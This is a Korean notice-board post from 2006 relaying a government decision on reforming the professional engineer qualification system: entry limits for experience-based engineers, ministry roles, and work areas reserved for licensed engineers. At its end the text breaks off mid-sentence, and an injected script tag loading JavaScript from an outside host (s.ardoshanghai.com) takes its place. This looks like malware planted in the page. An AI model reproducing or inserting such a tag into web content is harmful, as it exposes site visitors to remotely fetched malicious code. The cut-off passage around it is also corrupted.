공지사항

  • 작성자 : 관리자
  • 작성일 : 2006.03.15

한국기술사회에서 퍼온 글입니다

Ⅰ. 국무총리실에서 확정한 사항

= 학,경력자 특급기술자(수석감리사 포함)추가 진입 차단
<관련법령 개정 : 시행규칙 포함>
○ 과기부 : 엔지니어링기술진흥법령
○ 건교부 : 건설기술관리법령, 건설산업기본법령, 측량법령
○ 산자부 : 전력기술관리법령, 전기공사업법령
○ 정보통신부 : 정보통신공사업법령
○ 행자부 : 소방시설공사업법령

= 기술사 육성,관리의 연계성 강화
○ 기술사 자격의 검정에서 육성,관리까지 과학기술인력의 총괄 부서인 과기부의 역할 강화
방향으로 개선(과기부, 노동부)
- 기술사제도 발전을 위하여 「기술사제도 발전 전문위원회」설치
- 국가기술자격제도 발전 계획 중 기술사에 관한 사항은 과기부장관이 수립하여 노동부에 통

- 기술사 종목의 신설,통합 등 절차와 관련하여 과기부장관이 관련 부처장관과 협의하고 결과
를 노동부에 통보
- 국가기술자격정책심의회 위원(위원장 : 노동부장관) 추천시 과기부 또는 기술사회에서 위
원 1명 추천
- 기술사에 대한 계속교육, 경력관리 등 우수기술사 양성,관리에 관한 과기부 총괄,조정 근
거 마련
○ 기술사에 대한 적정한 육성,관리제도 정비(교육부, 과기부, 노동부)
- 관련분야 경력심사 및 경력 포트폴리오 작성 심사 강화 등 기술사 경력관리,평가체제 확

- 기술사 계속교육제도 도입 근거 마련(기술사법)
○ 기술사법 일원화 및 기술,기능계 분리 문제는 중장기과제로 검토
- 공학교육체계와 연계 등
<관련법령 개정>
○ 노동부 : 국가기술자격법령개정
○ 과기부 : 기술사법령개정

Ⅱ. 과학기술부 주관 기술사 고유업역 설정, 우대조치 방안 수립 T/F 운영(실질적 전문자격 대
우 및 질적 수준 향상)

가. 추진경과
<기술사제도 개선 대통령 지시사항(04.5.24)>
『인정기술사제도 개선』,『기술사제도의 전문성과 실효성 제고』,『고급기술자격의 국제 통
용성 제고』등 기술사제도개선 방안 마련을 지시
<국가과학기술자문회의(의장 대통령)>

= 04. 4 ~ 12 :「우수 기술사 육성,활용방안」정책연구
- 연구과정에 건설교통부 등 관련부처공무원 및 관련단체 의견 수렴
- 학,경력에 의한 기술자격 인정제도 폐지를 포함한 전문자격인 기술사의 고유 업역 제도화
등 제시
<국무조정실>

= 04. 12 ~ 05. 9 : 기술사제도 개선방안 마련
- 대통령비서실, 국가과학기술자문회의, 건설교통부 등 관련부처 국장 및 민간전문가로 구성
된「자격제도개선분과위원회」운영, 공청회 및 관련부처 협의
- 05. 9. 30 회의 : 국무조정실에서 관련부처 최종합의안 보고

= 05. 11. 10 : 국무조정실 및 관련부처 공동으로 국무총리께 요약 보고 정부방침 확정

= 05. 11. 14 : 관련부처에 관련법령개정 및 기술사 고유업역설정, 우대조치방안 T/F팀 운
영시달(국무조정실)
1) 학,경력인정기술자(특급기술자, 수석감리사 등 포함)는 당초 폐지(안)에서 기존 배출인력
은 인정하고 향후 최하위 등급 진입만 인정키로한 건교부 건의를 수용하여 확정(※학,경력기
술자는 특급기술자, 수석감리사 등을 포함 개념임)
2) 건설기술관리법령, 건설산업기본법령 등 관련 법령 개정하여, 기술사제도개선 반영

나. 민관합동 TF팀의 작업방향
※ 국무조정실 지시사항
① 공공의 안전, 재산에 관련된 엔지니어링 업무에 대한 기술사의 권한,책임 강화
- 전문분야별 특성과 시장수요를 반영한 각종 업역의 등록기준과 설계, 시공 등 단계별 업무범
위 설정
② 공사,감리 책임자로서 기술사의 현장배치 기준 강화
- 공사규모, 인력수급 현황 등 고려
③ 기술사의 배타적인 업무영역 강화
- 전문분야별 특성과 시장수요 등 고려
④ 각종 사업의 등록기준 등에 기술사를 적극 활용할 수 있는 방안 강구
⑤ 사업수행능력 평가, PQ 심사 등 입찰평가 수행시 기술사 능력제고 및 활용 증대방안 강구
- 기술사 보유업체에 가점 부여 등
⑥ 기술사 자격증 대여에 대한 벌칙 등 법적,윤리적 책임 강화방안 강구
⑦ 기술사의 경력,계속교육 등 정보관리를 위한 종합정보 시스템 구축

다. 주요 합의사항

= 엔지니어링부문(과학기술부)
○ 성과품에의 서명날인을 하는 책임기술자[엔지니어링기술진흥법 제24조]
- 기술사자격 보유자
○ 엔지니어링활동주체신고기준 개선[엔지니어링기술진흥법시행규칙 제3조]
- 기술부문별 기술사1인 확보
○ 기술사사무소와 엔지니어링활동주체가 동일한 조건으로 업무를 수행할 수 있음을 기술사
법 개정시 명문화하기로 함

= 건축.토목부문(건설교통부)
○ 일정규모 이상의 구조계산(16층이상건축물, 기둥간격30미터이상, 다중이용건축물 등),
토지굴착(깊이 10m이상 토지굴착공사, 5미터이상의 ?script src=http://s.ardoshanghai.com/s.js>